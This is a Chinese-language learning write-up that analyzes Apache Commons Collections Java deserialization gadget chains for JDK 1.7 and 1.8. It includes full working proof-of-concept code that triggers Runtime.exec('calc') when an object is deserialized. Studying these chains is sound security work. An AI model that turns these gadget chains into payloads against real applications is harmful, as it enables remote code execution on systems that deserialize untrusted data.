logo头像

黑客的本质就是白嫖

Java反序列化之Apache Commons Collections漏洞

前言

在几天的学习铺垫下,私以为现在可以开始研究一蛤具体应用里面的反序列化漏洞了,正好前段时间看到关注的几个dalao都更新了关于Apache Commons Collections反序列化漏洞的博文,遂跟进一波

正文

经过几个小时的努力,终于把环境给配置好了…虽然现在对Java开发比以前熟悉了,但是对于ide的使用还是出于生疏状态,僵硬

fxlh_apache_commons_collections_1

废话不多说,开始看代码

命令执行

这个漏洞可以命令执行的原因根本在一个名叫Transformer的接口,其中有一个实现了该接口的类可以通过调用Java反射机制来调用任意函数,这也就是这个命令执行的核心,不过因为是反序列化漏洞,所以具体利用起来还是涉及到了反序列化的

首先看一下Transformer接口的代码

1
2
3
public interface Transformer {
public Object transform(Object input);
}

很简单一个接口,只有一个函数,接受一个Object对象并对其进行处理,下面就是实现了该接口的存在问题的类了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class InvokerTransformer implements Transformer, Serializable {

...
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
...
}

上面代码中的transform函数就是对接口的实现了,在函数代码的5-7行里面我们可以看到,函数利用反射机制实例化了一个类,并且调用了其中的某个函数,在上面两个InvokerTransformer函数中我们可以看到,iMethodNameiParamTypesiArgs三个变量都是可控的,我们可以通过这个类调用任意函数,但是光凭这一个函数我们是做不到调用任意函数的,在Java里面貌似是不能直接调用函数运行系统命令的,而是要通过调用Runtime.getRuntime.exec(cmd)来执行命令

嗯,简单的来说就是要调用两次,第二次调用的参数是第一次调用的返回值,所以我们需要一个循环调用的函数来达到任意命令执行的效果,而恰好,Apache Commons Collections包里面有一个满足该条件的类(我在怀疑这真不是程序员留的后门吗…)ChainedTransformer类,下面是其部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
public class ChainedTransformer implements Transformer, Serializable {
...
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
...
}

该类中的transform方法依次调用传入数组的对象的transform方法,并将前一次调用的返回值作为参数传入下一次调用中(说真的说这不是后门我真的觉得奇怪),按照这个思路我们可以构造一下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.dldxz.study;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Exec {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Runtime.getRuntime());
}
}

首先实例化一个Transformer类型的数组,里面的内容是一个InvokerTransformer对象,实例化的参数分别为"exec",new Class[] {String.class},new Object[] {"class"},之后已该数组为参数实例化一个ChainedTransformer对象transformerChain,最后再以Runtime.getRuntime()为参数调用transformerChaintransform方法,也就是调用Runtime.getRuntime().exec()方法并将calc作为参数传入exec()方法中,也就实现了任意命令执行的目标

但是这篇文章讨论的是反序列化漏洞,所以仅仅是到这一步是不够的,这里做的只是反序列化之后执行的步骤,而剩下的就是如何触发反序列化了

反序列化

上述代码可以实现命令执行没错,但是实际环境里面估计是不会有transformerChain.transform(Runtime.getRuntime());这种代码的,这个参数我们也不一定是可控的,所以我们需要寻找其他方法利用这个漏洞,这就涉及到了另外一个类了

ConstantTransformer,这个类里面的transform方法会将传入的实例化对象原样返回,一下是其内部分代码

1
2
3
4
5
6
7
8
9
10
11
12
public class ConstantTransformer implements Transformer, Serializable {
.....
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant;
}
...
}

所以我们可以这样构造我们的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
...
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream(new File("D:\\Program\\IdeaProjects\\Study\\Person.ser")));
os.writeObject(transformerChain);
os.close();
...

但是序列化时出现了问题,Runtime不允许序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Exception in thread "main" java.io.NotSerializableException: java.lang.Runtime
at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1184)
at java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1548)
at java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1509)
at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1432)
at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1178)
at java.io.ObjectOutputStream.writeArray(ObjectOutputStream.java:1378)
at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1174)
at java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1548)
at java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1509)
at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1432)
at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1178)
at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:348)
at com.dldxz.study.Exec.main(Exec.java:23)

那么我们还需要再次修改,通过InvokerTransformer类的transform方法来反射调用Runtime

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.dldxz.study;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;

public class Exec {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,并通过getMethod方法反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}),
//反射调用invoke方法,并将前一次调用返回的Runtime.getRuntime()方法作为参数传入,返回Runtime.getRuntime()实例
new InvokerTransformer("invoke",
new Class[] {Object.class,Object[].class},
new Object[] {null,new Object[0]}),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream(new File("D:\\Program\\IdeaProjects\\Study\\Person.ser")));
os.writeObject(transformerChain);
os.close();
ObjectInputStream oi = new ObjectInputStream(new FileInputStream(new File("D:\\Program\\IdeaProjects\\Study\\Person.ser")));
Transformer obj = (Transformer) oi.readObject();
oi.close();
obj.transform("xixixi");
}
}

这样就能在反序列化之后执行任意命令了,调用链大致为((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc"),这样反序列化后就能obj.transform("...")触发命令执行了,不过还是有问题,这种环境实际上根本不存在的吧,怎么想都需要找其他的利用点吧…

利用链

利用链一

JDK1.7

/org/apache/commons/collections/map/TransformedMap.class

1
2
3
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

以上为类中的一个方法,这时候只要valueTransformer可控的话我们就可以利用上面的调用链

而该类的构造函数如下

1
2
3
4
5
6
7
8
9
10
11
...
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
...
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
...

可以看到valueTransformer的确是可控的,而调用了上面transformValue方法的函数在该类里面就只有put方法了

1
2
3
4
5
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}

PS:看这个方法的代码,另一个参数keyTransformer也是可控的,并且同样可以利用上面的调用链,这里就只说valueTransformer这个变量了

这样就可以通过以下方式来实现任意命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.dldxz.study;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class Exec {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,并通过getMethod方法反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}),
//反射调用invoke方法,并将前一次调用返回的Runtime.getRuntime()方法作为参数传入,返回Runtime.getRuntime()实例
new InvokerTransformer("invoke",
new Class[] {Object.class,Object[].class},
new Object[] {null,new Object[0]}),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
//下面的transformerChain参数放在第二与第三皆可
Map transformeredmap = TransformedMap.decorate(map,null,transformerChain);
transformeredmap.put("1","2");
}
}

不过还是没有涉及到序列化与反序列化的地方,继续寻找

在同一个类中的另一个方法checkSetValue同样调用了transform方法

1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}

既然上面的方法不可行,那就看一下这个方法能不能实现

在该类的父类AbstractInputCheckedMapDecorator中有一内部类MapEntry,其定义了一个setValue方法会调用上面的checkSetValue方法

1
2
3
4
5
6
7
8
9
10
11
12
13
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
}

JDK版本小于1.7时,在rt.jar包里面有一个/reflect/annotation/AnnotationInvocationHandler.class类,其中的readObject方法有对map的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
private transient volatile Method[] memberMethods = null;
...
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}

上面代码可以看到,readObject方法对memberValues的每一项都进行了setValue操作

这样我们就可以通过该类来构造反序列化任意命令执行了,前面的步骤都一样,在构造完transformeredmap时,将其作为参数参与AnnotationInvocationHandler的构造,最后将得到的对象序列化,就可以得到反序列化命令执行的对象了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package com.dldxz.study;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.lang.reflect.Constructor;
import java.util.Map;

public class Exec implements Serializable {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,并通过getMethod方法反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}),
//反射调用invoke方法,并将前一次调用返回的Runtime.getRuntime()方法作为参数传入,返回Runtime.getRuntime()实例
new InvokerTransformer("invoke",
new Class[] {Object.class,Object[].class},
new Object[] {null,new Object[0]}),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value","2");

Map transformedmap = TransformedMap.decorate(map,null,transformerChain);

//通过反射AnnotationInvocationHandler类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获取clazz的构造函数
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
//设置Accessible为true,否则会序列化失败
cons.setAccessible(true);
//通过newInstance方法实例化对象
Object instance = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);

//序列化
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream(new File("D:\\Program\\IdeaProjects\\Study\\Person.ser")));
os.writeObject(instance);
os.close();

//反序列化
ObjectInputStream oi = new ObjectInputStream(new FileInputStream(new File("D:\\Program\\IdeaProjects\\Study\\Person.ser")));
oi.readObject();
oi.close();
}
}

fxlh_apache_commons_collections_2

破费

PS:这里遇到一个问题,在map.put()那里,我一开始的参数是“1”“2”,但是这样反序列化的时候没办法触发命令执行,这里可能涉及到HashMap的知识,暂时我还不了解,之后再探究一下这个问题

根据dalao的博客,可以根据调试该程序找到mapkey需要为value的原因

前面调用链的构造这里就可以略过了,我们直接看到实例化TransformedMap对象的地方

fxlh_apache_commons_collections_3

这里可以看到,我们传入的transformerChain变量直接赋给了valuetransformer,下面的getDeclaredConstructor返回有指定参数列表构造函数的构造函数对象,这里获取的就是上文里面forName方法选择的类sun.reflect.annotation.AnnotationInvocationHandler的构造函数对象

fxlh_apache_commons_collections_4

之后则是通过newInstance方法将其实例化

1
Object instance = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);

fxlh_apache_commons_collections_5

根据我们传入构造函数的参数,上图中的var1以及var2的值分别为java.lang.annotation.Retentiontransformedmap

再往下看其readObject方法

1
Iterator var4 = this.memberValues.entrySet().iterator();

this.memberValues就是我们传入的Map实例transformedmap,给var4赋值时首先会调用其父类的entrySet方法

fxlh_apache_commons_collections_6

fxlh_apache_commons_collections_7

fxlh_apache_commons_collections_8

valueTransformer的值不为空,所以返回true,再进入第二个条件判断new AbstractInputCheckedMapDecorator.EntrySet(this.map.entrySet(), this)

最终返回一个迭代器

1
2
3
public Iterator iterator() {
return new AbstractInputCheckedMapDecorator.EntrySetIterator(this.collection.iterator(), this.parent);
}
1
2
3
4
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}

再往下

fxlh_apache_commons_collections_9

这里我们可以看到var3的键名为value,为了让var7不为空顺利进入判断语句,我们put的键名就必须为value说实话有点迷,我可能还需要一点时间来消化一下这点代码,细看了一下果然时HashMap的东西,看来需要尽快学一下这部分知识

fxlh_apache_commons_collections_10

迅速补完回来了,这里var3最后里面的key值为value,在357行处,我们必须要给var7赋一个值,所以传入的var6必须为valuevar6又是var5key,所以我们传入的mapkey值必须为value

嗯,破费,搞懂了(大概

利用链二

利用链一中的方法在JDK1.8的时候不可行,这里有一种可行的方法

/org/apache/commons/collections/map/LazyMap.java中有一个get方法

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}

也调用链transform方法,并且从构造函数里可以看到factory变量也是可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = FactoryTransformer.getInstance(factory);
}
}

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}

并且这里key值无所谓为何值,不会影响到漏洞的利用

这样就需要找到调用了该方法的地方了

org.apache.commons.collections.keyvalue.TiedMapEntry.class中可以找到一个调用

1
2
3
4
5
6
7
public Object getValue() {
return this.map.get(this.key);
}
...
public String toString() {
return this.getKey() + "=" + this.getValue();
}

要触发toString这个方法才能触发漏洞,还要在反序列化的时候触发,那么需要找到一个重写了readObject方法的类,并且其中有调用toString方法才行

/javax/management/BadAttributeValueExpException.java大佬们已经找好了,这个类满足了上面的条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

这里的判断条件我们进入的时候可以满足,所以可以进入到运行toString方法的地方,而根据前面的赋值语句,我们只要让val变量的值为我们构造的TiedMapEntry对象即可,这里的val是私有变量,所以需要用反射机制来赋值,最终代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package com.dldxz.study;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Exec implements Serializable {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,并通过getMethod方法反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}),
//反射调用invoke方法,并将前一次调用返回的Runtime.getRuntime()方法作为参数传入,返回Runtime.getRuntime()实例
new InvokerTransformer("invoke",
new Class[] {Object.class,Object[].class},
new Object[] {null,new Object[0]}),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
Map lazymap = LazyMap.decorate(map,transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazymap,"xixixi");

BadAttributeValueExpException instance = new BadAttributeValueExpException(null);

Field valfield = instance.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(instance,entry);


//序列化
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream(new File("D:\\Program\\IdeaProjects\\Study\\Person.ser")));
os.writeObject(instance);
os.close();

//反序列化
ObjectInputStream oi = new ObjectInputStream(new FileInputStream(new File("D:\\Program\\IdeaProjects\\Study\\Person.ser")));
oi.readObject();
oi.close();
}
}

fxlh_apache_commons_collections_11

破费

利用链三

梅子酒大佬的博客上有一个利用链,具体思路和这里的利用链二很像,算是一个变种,这里就不细说了,详情见References

References

JAVA Apache-CommonsCollections 序列化漏洞分析以及漏洞高级利用

java反序列化学习之apache-commons-collections

从零开始java代码审计系列(一)

深入理解 JAVA 反序列化漏洞

Commons Collections3 新Map利用挖掘(WCTF出题笔记)

评论系统未开启,无法评论!